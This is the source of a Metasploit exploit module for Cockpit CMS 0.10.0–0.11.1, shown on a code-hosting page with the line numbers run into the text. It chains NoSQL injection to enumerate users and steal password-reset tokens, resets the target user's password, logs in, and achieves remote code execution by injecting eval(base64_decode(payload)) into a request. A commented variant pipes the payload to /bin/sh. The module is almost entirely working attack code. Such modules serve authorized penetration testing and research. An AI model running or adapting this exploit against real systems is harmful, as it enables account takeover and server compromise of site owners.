Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/cockpit_cms_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Cockpit CMS NoSQLi to RCE',16'Description' => %q{17This module exploits two NoSQLi vulnerabilities to retrieve the user list,18and password reset tokens from the system. Next, the USER is targetted to19reset their password.20Then a command injection vulnerability is used to execute the payload.21While it is possible to upload a payload and execute it, the command injection22provides a no disk write method which is more stealthy.23Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities24for exploitation.25},26'License' => MSF_LICENSE,27'Author' => [28'h00die', # msf module29'Nikita Petrov' # original PoC, analysis30],31'References' => [32[ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],33[ 'CVE', '2020-35847' ], # reset token extraction34[ 'CVE', '2020-35846' ], # user name extraction35],36'Platform' => ['php'],37'Arch' => ARCH_PHP,38'Privileged' => false,39'Targets' => [40[ 'Automatic Target', {}]41],42'DefaultOptions' => {43'PrependFork' => true44},45'DisclosureDate' => '2021-04-13',46'DefaultTarget' => 0,47'Notes' => {48# ACCOUNT_LOCKOUTS due to reset of user password49'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],50'Reliability' => [ REPEATABLE_SESSION ],51'Stability' => [ CRASH_SERVICE_DOWN ]52}53)54)5556register_options(57[58Opt::RPORT(80),59OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),60OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),61OptString.new('USER', [false, 'User account to take over', ''])62], self.class63)64end6566def get_users(check: false)67print_status('Attempting Username Enumeration (CVE-2020-35846)')68res = send_request_raw(69'uri' => '/auth/requestreset',70'method' => 'POST',71'ctype' => 'application/json',72'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })73)7475fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res7677# return bool of if not vulnerable78# https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L43279if check80return (res.body.include?('Function should be callable') ||81# https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L46682res.body.include?('Condition not valid') ||83res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])84end8586res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten87end8889def get_reset_tokens90print_status('Obtaining reset tokens (CVE-2020-35847)')91res = send_request_raw(92'uri' => '/auth/resetpassword',93'method' => 'POST',94'ctype' => 'application/json',95'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })96)9798fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res99100res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten101end102103def get_user_info(token)104print_status('Obtaining user info')105res = send_request_raw(106'uri' => '/auth/newpassword',107'method' => 'POST',108'ctype' => 'application/json',109'data' => JSON.generate({ 'token' => token })110)111112fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res113114/this.user\s+=([^;]+);/ =~ res.body115userdata = JSON.parse(Regexp.last_match(1))116userdata.each do |k, v|117print_status(" #{k}: #{v}")118end119report_cred(120username: userdata['user'],121password: userdata['password'],122private_type: :nonreplayable_hash123)124userdata125end126127def reset_password(token, user)128password = Rex::Text.rand_password129print_good("Changing password to #{password}")130res = send_request_raw(131'uri' => '/auth/resetpassword',132'method' => 'POST',133'ctype' => 'application/json',134'data' => JSON.generate({ 'token' => token, 'password' => password })135)136137fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res138139# loop through found results140body = JSON.parse(res.body)141print_good('Password update successful') if body['success']142report_cred(143username: user,144password: password,145private_type: :password146)147password148end149150def report_cred(opts)151service_data = {152address: datastore['RHOST'],153port: datastore['RPORT'],154service_name: 'http',155protocol: 'tcp',156workspace_id: myworkspace_id157}158credential_data = {159origin_type: :service,160module_fullname: fullname,161username: opts[:username],162private_data: opts[:password],163private_type: opts[:private_type],164jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])165}.merge(service_data)166167login_data = {168core: create_credential(credential_data),169status: Metasploit::Model::Login::Status::UNTRIED,170proof: ''171}.merge(service_data)172create_credential_login(login_data)173end174175def login(un, pass)176print_status('Attempting login')177res = send_request_cgi(178'uri' => '/auth/login',179'keep_cookies' => true180)181login_cookie = res.get_cookies182183fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res184fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body185186res = send_request_cgi(187'uri' => '/auth/check',188'method' => 'POST',189'keep_cookies' => true,190'ctype' => 'application/json',191'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })192)193194fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res195fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')196print_good("Valid cookie for #{un}: #{login_cookie}")197end198199def gen_token(user)200print_status('Attempting to generate tokens')201res = send_request_raw(202'uri' => '/auth/requestreset',203'method' => 'POST',204'keep_cookies' => true,205'ctype' => 'application/json',206'data' => JSON.generate({ user: user })207)208fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res209end210211def rce212print_status('Attempting RCE')213p = Rex::Text.encode_base64(payload.encoded)214send_request_cgi(215'uri' => '/accounts/find',216'method' => 'POST',217'keep_cookies' => true,218'ctype' => 'application/json',219# this is more similar to how the original POC worked, however even with the & and prepend fork220# it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session221# was killed when using an arch => cmd type payload.222# 'data' => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"223# with this method most pages still seem to load, logins work, but the password reset will not respond224# however, everything else seems to work ok225'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"226)227end228229def check230begin231return Exploit::CheckCode::Appears unless get_users(check: true)232rescue ::Rex::ConnectionError233fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")234end235Exploit::CheckCode::Safe236end237238def exploit239if datastore['ENUM_USERS']240users = get_users241print_good(" Found users: #{users}")242end243244fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''245246tokens = get_reset_tokens247# post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.248if tokens == []249gen_token(datastore['USER'])250tokens = get_reset_tokens251end252print_good(" Found tokens: #{tokens}")253good_token = ''254tokens.each do |token|255print_status("Checking token: #{token}")256userdata = get_user_info(token)257if userdata['user'] == datastore['USER']258good_token = token259break260end261end262fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''263password = reset_password(good_token, datastore['USER'])264login(datastore['USER'], password)265rce266end267end268269270